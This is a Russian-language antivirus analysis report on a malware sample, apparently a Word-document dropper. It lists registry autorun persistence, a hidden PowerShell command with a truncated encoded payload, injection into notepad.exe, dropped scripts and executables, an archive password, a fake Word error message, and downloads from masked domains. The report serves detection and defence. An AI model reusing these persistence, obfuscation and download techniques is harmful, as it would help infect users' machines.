Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'spoolsv.exe' = '"%APPDATA%\Microsoft\Windows\spoolsv.exe" -start'
Вредоносные функции
Запускает на исполнение
- '%WINDIR%\syswow64\taskkill.exe' /f /im 15sp.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD IAAgAFMAZQBUAC0ASQB0AGUAbQAgAHYAQQBSAGkAYQBCAEwAZQA6AGUAdAB5ACAAIAAoAFsAdABZAHAAZQBdACgAIgB7ADEAfQB7ADUAfQB7ADAAfQB7ADQAfQB7ADIAfQB7ADMAfQAiAC0ARgAgACcALgAnACwA...
Внедряет код в
следующие системные процессы:
- %WINDIR%\syswow64\notepad.exe
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\ebtoozl\zyojdr2\loko7py4.exe
- %TEMP%\aitmp352\aisetup.zip
- %TEMP%\aitmp352\englishai.lng
- %TEMP%\aitmp352\aisetup.ini
- %TEMP%\aitmp352\aidatafile.zip
- C:\ssd\onset\81ldp.bat
- C:\ssd\onset\58nfs.ini
- C:\ssd\onset\15sp.exe
- C:\ssd\onset\goodram.vbs
- C:\ssd\onset\ztestram.vbs
- C:\ssd\onset\sata1.bat
- C:\ssd\onset\mesager43.exe
- %TEMP%\aitmp352\auninstall.ini
- %TEMP%\a0d66878.zeppelin
- %APPDATA%\microsoft\windows\spoolsv.exe
- %TEMP%\5f54ef9a.zeppelin
Удаляет следующие файлы
- C:\ssd\onset\01s.rar
- %TEMP%\a0d66878.zeppelin
- C:\ssd\onset\mesager43.exe
- C:\ssd\onset\goodram.vbs
- C:\ssd\onset\15sp.exe
- C:\ssd\onset\ztestram.vbs
- %TEMP%\5f54ef9a.zeppelin
Перемещает следующие файлы
- C:\ssd\onset\58nfs.ini в C:\ssd\onset\01s.rar
Сетевая активность
TCP
Запросы HTTP GET
- http://vi#####ndustrial.com/h6mkgr.rar
- http://ge###tool.com/
- http://ip###ger.org/1cyy87.jpg
UDP
- DNS ASK vi#####ndustrial.com
- DNS ASK ge###tool.com
- DNS ASK ge###tatool.com
- DNS ASK ip###ger.org
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%HOMEPATH%\ebtoozl\zyojdr2\loko7py4.exe'
- '%WINDIR%\syswow64\wscript.exe' "C:\ssd\onset\goodram.vbs"
- 'C:\ssd\onset\15sp.exe' e -psion0811 01s.rar
- '%WINDIR%\syswow64\wscript.exe' "C:\ssd\onset\Ztestram.vbs"
- 'C:\ssd\onset\mesager43.exe' /start
- '%APPDATA%\microsoft\windows\spoolsv.exe' -start
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\ssd\onset\81ldp.bat" "' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\ssd\onset\sata1.bat" "' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg * /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgAFMAZQBUAC0ASQB0AGUAbQAgAHYAQQBSAGkAYQBCAEwAZQA6AGUAdAB5ACAAIAAoAFs...
- '<SYSTEM32>\msg.exe' * /v Word experienced an error trying to open the file.
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\ssd\onset\81ldp.bat" "
- '%WINDIR%\syswow64\timeout.exe' 5
- '%WINDIR%\syswow64\timeout.exe' 4
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\ssd\onset\sata1.bat" "
- '%WINDIR%\syswow64\attrib.exe' +s +h "C:\ssd\"
- '%WINDIR%\syswow64\timeout.exe' 2
- '%WINDIR%\syswow64\notepad.exe'
- '%WINDIR%\syswow64\attrib.exe' -s -h "C:\ssd\onset\mesager43.exe"
